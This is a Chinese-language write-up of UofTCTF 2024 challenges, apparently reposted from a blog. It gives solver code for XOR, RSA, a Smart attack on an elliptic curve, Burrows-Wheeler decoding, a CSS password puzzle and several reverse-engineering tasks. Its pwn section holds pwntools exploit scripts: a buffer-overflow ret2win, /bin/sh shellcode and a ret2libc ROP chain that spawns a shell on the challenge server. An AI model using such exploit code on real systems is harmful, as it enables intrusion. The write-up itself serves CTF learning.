[UofTCTF 2024]

发布时间:2024年01月18日

最近没有比赛,拿个国外刚比完的练练手。只是网站太慢了,点任何一处都得等一分钟。而且pwn的远程都开不了。不过pwn过于简单,连本地都没调,当是个pwn概念吧。

Crypto

repeat

import os
import secrets

flag = "REDACATED"
xor_key = secrets.token_bytes(8)

def xor(message, key):
    return bytes([message[i] ^ key[i % len(key)] for i in range(len(message))])

encrypted_flag = xor(flag.encode(), xor_key).hex()

with open("flag.enc", "w") as f:
    f.write("Flag: "+encrypted_flag)

异或加密,根据头得到key再解密

from pwn import xor 
a = '982a9290d6d4bf88957586bbdcda8681de33c796c691bb9fde1a83d582c886988375838aead0e8c7dc2bc3d7cd97a4'
b = bytes.fromhex(a)
key = xor(b'uoftctf{', b[:8])
print(xor(b,key))
#b'uoftctf{x0r_iz_r3v3rs1bl3_w17h_kn0wn_p141n73x7}'

Pianoman

# no secrets for you!
flag = ...

# Prime numbers
p = 151974537061323957822386073908385085419559026351164685426097479266890291010147521691623222013307654711435195917538910433499461592808140930995554881397135856676650008657702221890681556382541341154333619026995004346614954741516470916984007797447848200982844325683748644670322174197570545222141895743221967042369
q = 174984645401233071825665708002522121612485226530706132712010887487642973021704769474826989160974464933559818767568944237124745165979610355867977190192654030573049063822083356316183080709550520634370714336131664619311165756257899116089875225537979520325826655873483634761961805768588413832262117172840398661229
n = p * q

# a public exponent hidden away by Windy's musical talents
e = ...


# Converting the message to an integer
m = int.from_bytes(message.encode(), 'big')

# Encrypting the message: c = m^e mod n
inc_m = pow(message_int, e, n)

print(encrypted_message_int)

c = 13798492512038760070176175279601263544116956273815547670915057561532348462120753731852024424193899030774938204962799194756105401464136384387458651343975594539877218889319074841918281784494580079814736461158750759327630935335333130007375268812456855987866715978531148043248418247223808114476698088473278808360178546541128684643502788861786419871174570376835894025839847919827231356213726961581598139013383568524808876923469958771740011288404737208217659897319372970291073214528581692244433371304465252501970552162445326313782129351056851978201181794212716520630569898498364053054452320641433167009005762663177324539460

RSA题就差一个e,给了个图

把c的位置当成0,得到e=7029307

long_to_bytes(pow(c, inverse(7029307,(p-1)*(q-1)),p*q))
#b'uoftctf{AT1d2jMCVs03xxalViU9zTyiiV1INNJY}'

?Clever Thinking

m = 235322474717419
F = GF(m)
C = EllipticCurve(F, [0, 8856682])

public_base = (185328074730054:87402695517612:1)

Q1 = (184640716867876:45877854358580:1) # my public key
Q2 = (157967230203538:128158547239620:1) # your public key

secret = ...
my_private_key = ...
assert(my_private_key*public_base == Q1)
assert(my_private_key*Q2 == secret)

p = 235322474717419
a,b = 0, 8856682
E = EllipticCurve(GF(p), [0, 8856682])

G = E(185328074730054,87402695517612)
Q1 = E(184640716867876,45877854358580)
Q2 = E(157967230203538,128158547239620)

椭圆曲线题,这里E.order()==p可以用SmartAttack

#G.order() == p
#SmartAttack
def _lift(E, P, gf):
    x, y = map(ZZ, P.xy())
    for point_ in E.lift_x(x, all=True):
        _, y_ = map(gf, point_.xy())
        if y == y_:
            return point_

def SmartAttack(G, P):
    """
    Solves the discrete logarithm problem using Smart's attack.
    More information: Smart N. P., "The discrete logarithm problem on elliptic curves of trace one"
    :param G: the base point
    :param P: the point multiplication result
    :return: l such that l * G == P
    """
    E = G.curve()
    gf = E.base_ring()
    p = gf.order()
    assert E.trace_of_frobenius() == 1, f"Curve should have trace of Frobenius = 1."

    E = EllipticCurve(Qp(p), [int(a) + p * ZZ.random_element(1, p) for a in E.a_invariants()])
    G = p * _lift(E, G, gf)
    P = p * _lift(E, P, gf)
    Gx, Gy = G.xy()
    Px, Py = P.xy()
    return int(gf((Px / Py) / (Gx / Gy)))


m = SmartAttack(G,Q1)
#127556068971283
print(m*Q2)
#(11278025017971 : 36226806176053 : 1)
#uoftctf{(11278025017971:36226806176053:1)}

Wheel Barrow

hc0rhh3r3ylmsrwr___lsewt_03raf_rpetouin$_3tb0_t


Wheel Barrow
442
A wheelbarrow ran over the flag. Can you fix it?

Please wrap the flag in uoftctf{}. Please keep the $ in the flag when submitting.

不会了,看网上的WP到dcode.fr(国内需要梯子,否则通的概率不大)上burrow wheel解密

burr0w_wh33ler_transform_is_pr3tty_c00l_eh$th3_
roftctf{th3_burr0w_wh33ler_transform_is_pr3tty_c00l_eh$}

Export Grade Cipher

只有题,不会也没有WP,这个算法相当复杂呀。

import os

class LFSR:
    def __init__(self, seed, taps, size):
        assert seed != 0
        assert (seed >> size) == 0
        assert len(taps) > 0 and (size - 1) in taps
        self.state = seed
        self.taps = taps
        self.mask = (1 << size) - 1

    def _shift(self):
        feedback = 0
        for tap in self.taps:
            feedback ^= (self.state >> tap) & 1
        self.state = ((self.state << 1) | feedback) & self.mask
    
    def next_byte(self):
        val = self.state & 0xFF
        for _ in range(8):
            self._shift()
        return val


class ExportGradeCipher:
    def __init__(self, key):
        # 40 bit key
        assert (key >> 40) == 0
        self.key = key
        self.initialized = False
    
    def init_with_nonce(self, nonce):
        # 256 byte nonce, nonce size isnt export controlled so hopefully this will compensate for the short key size
        assert len(nonce) == 256
        self.lfsr17 = LFSR((self.key & 0xFFFF) | (1 << 16), [2, 9, 10, 11, 14, 16], 17)
        self.lfsr32 = LFSR(((self.key >> 16) | 0xAB << 24) & 0xFFFFFFFF, [1, 6, 16, 21, 23, 24, 25, 26, 30, 31], 32)
        self.S = [i for i in range(256)]
        # Fisher-Yates shuffle S-table
        for i in range(255, 0, -1): 
            # generate j s.t. 0 <= j <= i, has modulo bias but good luck exploiting that
            j = (self.lfsr17.next_byte() ^ self.lfsr32.next_byte()) % (i + 1)
            self.S[i], self.S[j] = self.S[j], self.S[i]
        j = 0
        # use nonce to scramble S-table some more
        for i in range(256):
            j = (j + self.lfsr17.next_byte() ^ self.lfsr32.next_byte() + self.S[i] + nonce[i]) % 256
            self.S[i], self.S[j] = self.S[j], self.S[i]
        self.S_inv = [0 for _ in range(256)]
        for i in range(256):
            self.S_inv[self.S[i]] = i
        self.initialized = True
    
    def _update(self, v):
        i = self.lfsr17.next_byte() ^ self.lfsr32.next_byte()
        self.S[v], self.S[i] = self.S[i], self.S[v]
        self.S_inv[self.S[v]] = v
        self.S_inv[self.S[i]] = i
    
    def encrypt(self, msg):
        assert self.initialized
        ct = bytes()
        for v in msg:
            ct += self.S[v].to_bytes()
            self._update(v)
        return ct
    
    def decrypt(self, ct):
        assert self.initialized
        msg = bytes()
        for v in ct:
            vo = self.S_inv[v]
            msg += vo.to_bytes()
            self._update(vo)
        return msg


if __name__ == "__main__":
    cipher = ExportGradeCipher(int.from_bytes(os.urandom(5)))
    nonce = os.urandom(256)
    print("="*50)
    print("Cipher Key: {}".format(cipher.key))
    print("Nonce: {}".format(nonce))
    msg = "ChatGPT: The Kerckhoffs' Principle, formulated by Auguste Kerckhoffs in the 19th century, is a fundamental concept in cryptography that states that the security of a cryptographic system should not rely on the secrecy of the algorithm, but rather on the secrecy of the key. In other words, a cryptosystem should remain secure even if all the details of the encryption algorithm, except for the key, are publicly known. This principle emphasizes the importance of key management in ensuring the confidentiality and integrity of encrypted data and promotes the development of encryption algorithms that can be openly analyzed and tested by the cryptographic community, making them more robust and trustworthy."
    print("="*50)
    print("Plaintext: {}".format(msg))
    cipher.init_with_nonce(nonce)
    ct = cipher.encrypt(msg.encode())
    print("="*50)
    print("Ciphertext: {}".format(ct))
    cipher.init_with_nonce(nonce)
    dec = cipher.decrypt(ct)
    print("="*50)
    try:
        print("Decrypted: {}".format(dec))
        assert msg.encode() == dec
    except:
        print("Decryption failed")

    

PWN

basic_overflow

ret2win略,未调试

from pwn import *

p = remote('34.123.15.202', 5000)
context(arch='amd64', log_level='debug')

p.sendline(b'A'*(64+8)+p64(0x401136))

p.sendline(b"cat flag")
p.interactive()

baby-shellcode

ret2text略,未调试

from pwn import *

context(arch='amd64', log_level='debug')
p = process('baby-shellcode')

p.send(asm(shellcraft.sh()))
p.interactive()

patched-shell

与第1题完全一样,没有远程原因不详

nothing-to-return

ret2啥?略,未调试

from pwn import *

libc = ELF('./libc.so.6')
elf = ELF('./nothing-to-return')
p = remote('34.123.15.202', 5000)
context(arch='amd64', log_level='debug')

p.recvuntil(b"printf is at ")
libc.address = int(p.recvline(),16) - libc.sym['printf']
print(f"{libc.address = :x}")
pop_rdi = libc.address + 0x0000000000028265 # pop rdi ; ret

pay = b'A'*(64+8)+flat(pop_rdi+1, pop_rdi, next(libc.search(b'/bin/sh')), libc.sym['system'])
p.sendlineafter(b'Input size:\n', str(len(pay)+1).encode())
p.sendline(pay)

p.sendline(b"cat /flag")
p.interactive()

REV

CSS Password

一个css的题,打开网页是19个字节每个8位,当选正确后会显示绿标。

通过样式表可以判断

1,.byte:nth-child(1)是第1个字符

2,.latch:nth-child(7)是第1个字符的第7位

3,.latch__reset:active 这一位是置位还是清位

4,transform: translateX(-100%); -100是有效,0是无效

        /* LED1 */
        /* b1_7_l1_c1 */
        .wrapper:has(.byte:nth-child(1) .latch:nth-child(7) .latch__reset:active) .checker:nth-of-type(2) .checker__state:nth-child(1) {
            transform: translateX(0%);
            transition: transform 0s;
        }

        .wrapper:has(.byte:nth-child(1) .latch:nth-child(7) .latch__set:active) .checker:nth-of-type(2) .checker__state:nth-child(1) {
            transform: translateX(-100%);
            transition: transform 0s;
        }

        /* b1_8_l1_c2 */
        .wrapper:has(.byte:nth-child(1) .latch:nth-child(8) .latch__reset:active) .checker:nth-of-type(2) .checker__state:nth-child(2) {
            transform: translateX(0%);
            transition: transform 0s;
        }

        .wrapper:has(.byte:nth-child(1) .latch:nth-child(8) .latch__set:active) .checker:nth-of-type(2) .checker__state:nth-child(2) {
            transform: translateX(-100%);
            transition: transform 0s;
        }

用re过滤一下,似乎python的re.findall感觉不如php的preg_match_all方便。

import re 

msg = open('css-password.html').read()
pat = re.compile(r'\.byte:nth-child\((\d+)\) \.latch:nth-child\((\d+)\) .latch__([rest]{3,5}):active\) \.checker:nth-of-type\(\d+\) \.checker__state:nth-child\(\d+\) {\n            transform: translateX\((-100|0)%\);', re.M|re.S|re.I)
res = pat.findall(msg)
#print(res)
flag = ['0']*(19*8)
for i in res:
    if i[3]=='-100':
        if i[2] == 'set':
            flag[(int(i[0])-1)*8+int(i[1])-1]='1'
print(flag)
print(bytes([int(''.join(flag[i*8:(i+1)*8]), 2) for i in range(19)]))
<?php
$msg = file_get_contents("./css-password.html");
$res = preg_match_all('|\.byte:nth-child\((\d+)\) \.latch:nth-child\((\d+)\) \.latch__(.*):active.*translateX\(([-01]+)%\);|Ums', $msg, $reg);
#print_r($reg);
$key = [];for($i=0;$i<19*8;$i++)$key[i]='0';
foreach($reg[0] as $i=>$v){
	print($i." ".$reg[1][$i].' '.$reg[2][$i]." ".$reg[3][$i]." ".$reg[4][$i]."\n");
	if($reg[4][$i] == '-100')
		$key[($reg[1][$i]-1)*8 + $reg[2][$i]-1]=($reg[3][$i] == 'set')?'1':'0';
}
$flag = '';
for($i=0;$i<19*8;$i++)$flag.=$key[$i];
echo $flag."\n";
$f2 = '';
for($i=0;$i<19;$i++)$f2.=chr(bindec(substr($flag,$i*8,8)));
echo $f2."\n";
?>

All Worbled Up

python的字节码,手翻一下

def worble(s):
    s1 = 5
    s2 = 31
    for n in range(len(s)):
        s1 = (s1+ord(s[n])+7)%65521
        s2 = s1*s2%65521
    return (s2<<16)|s1

def shmorble(s):  #不动
    r = ''
    for i in range(len(s)):
        r += s[i-len(s)]
    return r 

def blorble(a,b):
    return format(a,'x')+format(b,'x')

pattern = re.compile('^uoftctf\\{([bdrw013]){9}\\}$')
a = worble(flag)
b = worble(flag[::-1])
shmorble(blorble(a,b)) == 'a81c0750d48f0750'

7个字符repeat9,题很小直接爆破

import itertools 
for i in itertools.product('bdrw013', repeat=9):
    s = ''.join(i)
    if worble(s) == 0xa81c0750:
        print(s)

from pwn import iters
found = iters.bruteforce(lambda x: worble('uoftctf{'+x+'}') == 0xa81c0750 and worble(('uoftctf{'+x+'}')[::-1]) == 0xd48f0750, 'bdrw013',9)

#'uoftctf{d3w0rb13d}'

Random Maze

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int i; // [rsp+Ch] [rbp-14h]
  char v5[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v6; // [rsp+18h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  puts("can you solve the maze? :3");
  printf("choose ur path >> ");
  __isoc99_scanf("%lx", v5);
  puts("running your path! hope this works:");
  path = (__int64)v5;
  for ( i = 0; i <= 7; ++i )
  {
    if ( (*(_BYTE *)(path + i) & 3) == 0
      || *(_BYTE *)(path + i) == 3 * (*(char *)(path + i) / 3)
      || *(char *)(path + i) > 100
      || *(char *)(path + i) <= 19 )            // [20,100] %4!=0 %3!=0
    {
      oops();                                   // exit
    }
    traverse(i);
  }
  return 0;
}
__int64 __fastcall traverse(int a1)
{
  __int64 result; // rax

  if ( (*(_BYTE *)(path + a1) & 1) != 0 )
    cur = *(void **)cur;
  else
    cur = (void *)*((_QWORD *)cur + 1);
  flag[a1] ^= *(_BYTE *)(path + a1);
  if ( a1 )
  {
    if ( flag[a1] + flag[a1 - 1] != sums[a1 - 1] )
      oops();
    result = *((_QWORD *)cur + 2);
    if ( result )
      return (*((__int64 (**)(void))cur + 2))();
  }
  else
  {
    result = check_prime(flag[0]);
    if ( !(_BYTE)result )
      oops();                                   // exit
  }
  return result;
}

给了一个加密的flag要求输入path在与flag异或后进行检查。

1,path范围[19,100],且不能被3,4整除

2,异或后第1个字节是素数

3,异或以后相邻的和为sums

4,path的尾位符合level的指针,这个指针可以手数一共8位+1时表示0,+0时表示1最后到达profit

可以根据第2条得到8个数,然后再根据第3条爆破,1和4处理起来比较麻烦,但通过2以后只有4个值,都出来手选更方便

for v in 'Ymaq':
    tflag = v
    for i in range(7):
        tflag += chr(sums[i]-ord(tflag[-1]))
    #if all([1 if ord(tflag[i])^flag[i] in tab else 0 for i in range(8)]):
    print(tflag)

#uoftctf{am4z31ng}

也可以全译爆破

tab = [i for i in range(20,101) if i%4!=0 and i%3 != 0]
#[22, 23, 25, 26, 29, 31, 34, 35, 37, 38, 41, 43, 46, 47, 49, 50, 53, 55, 58, 59, 61, 62, 65, 67, 70, 71, 73, 74, 77, 79, 82, 83, 85, 86, 89, 91, 94, 95, 97, 98]

flag = b'ON#X~o8&'
sums = [0xCE, 0xA1, 0xAE, 0xAD, 0x64, 0x9F, 0xD5]

#flag[i]^=path[i]
#flag[i]^flag[i-1] == sums[i-1]
a = [i for i in tab if isPrime(i^flag[0])]
'''
maze+1 ->l1 -> l2 -> l3+1 -> l4 -> l5+1 -> l6+1 -> l7 -> l8+2 ->profit
加1为0,不加为1
'''
path_lsb = [int(i) for i in '01101001']

def get_v(i, tail):
    if i>=8:
        print(tail)
        return 
    if i==0:
        for tp in tab:
            if tp&1 == path_lsb[i] and isPrime(flag[0]^tp):
                get_v(i+1, bytes([flag[i]^tp]))
    else:
        for tp in tab:
            if tp&1 == path_lsb[i] and tail[-1]+(flag[i]^tp) == sums[i-1]:
                get_v(i+1, tail+bytes([flag[i]^tp]))

get_v(0,b'')

CEO's Lost Password

jar文件没看懂

Love Debug

全是代码,非常长,只能在最后删数据前下断点,再在内存里找(都是两字节的字符\x00A这样)

在0x405603下断点,看内存中残留值
x/80s 0x406133
uoftctf{r3CuR51v3LY_3nuM3r4Bl3_R1zZ}

?

文章来源:https://blog.csdn.net/weixin_52640415/article/details/135683785
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。